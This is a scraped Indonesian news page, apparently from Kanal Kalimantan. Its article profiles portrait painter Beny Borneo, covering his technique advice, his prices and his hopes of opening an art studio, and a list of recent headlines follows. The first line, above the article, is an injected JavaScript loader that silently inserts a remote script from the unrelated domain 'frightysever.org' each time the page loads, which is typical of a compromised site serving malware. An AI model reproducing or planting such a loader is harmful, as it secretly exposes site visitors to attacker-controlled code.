(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Pingin Dibuatkan Lukisan Wajah, Datang Saja ke Sini


Melukis memerlukan banyak teknik. Namun menurut Beny, berawal dari belajar membuat sketsa juga bisa dilakukan sebelum memasuki teknik-teknik lainnya.

”Bertahap saja, kalau dia (pemula) punya banyak waktu luang, bisa pelajari teknik-teknik lainnya. Sebenarnya banyak cara untuk menggambar atau melukis ini, tidak dibatasi dengan cara-cara atau media tertentu. Kan nilai dari karya seni itu yang diambil, sejauh mana kreativitasnya,” ajarnya.

Dalam 1 minggu, masyarakat yang datang ke galeri seninya ini untuk memesan suatu lukisan, bisa dua hingga tiga orang. ”Tidak bisa dipastikan lah, karena yang datang kan kita tidak tahu. Kalau tarif melukis berdasarkan ukurannya, misal ukuran 30 x 40 cm lukisan wajah tarifnya Rp 300 ribu, ini yang hitam putih. Kalau yang warna bisa Rp 500 ribu, medianya kanvas bisa Rp 1 jutaan,” pungkasnya.

Satu lukisan hitam putih, bisa Beny selesaikan dalam 1 hari, ia mengerjakannya dari jam 9 pagi sampai dengan sore hari. Ada juga yang ia selesaikan dalam waktu 2 hari, tergantung dari objek yang akan ia lukis.

Beny menceritakan, terkadang ada juga orang yang ingin memesan suatu lukisan namun uang yang ia punya tidak banyak. Beny mengaku tetap melayaninya. “’Karena hidup saya di sini, jadi ada timbal baliknya saja. Ia punya berapa, saya bantu,” imbuhnya.

Sampai saat ini, Beny tidak secara langsung mempromosikan profesinya sebagai pelukis ini. Ia membiarkan masyarakat mengetahuinya sendiri tiap kali mereka lalu lalang di sekitaran kawasan Lapangan Murjani.

”Saya tidak bisa menjadi juri untuk diri saya sendiri, nanti dikhawatirkan nilainya terlalu tinggi, biarlah masyarakat yang menilai langsung. Tapi sampai saat ini alhamdulillah masyarakat meresponnya dengan baik. Saya sebagai seniman hanya bekerja dan melayani,”

Ke depannya, Beny Borneo ingin membuka sebuah sanggar seni. Namun karena belum mempunyai biaya, tempat serta waktu untuk mengelola itu, maka rencana itu urung ia lakukan. ***


Page: 1 2

Desy Arfianty

Recent Posts

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

13 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

14 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

14 jam ago

PKS Banjarbaru Buka Penjaringan, Siap Koalisi Tawarkan Kader Sendiri

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More

16 jam ago

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

1 hari ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

1 hari ago

This website uses cookies.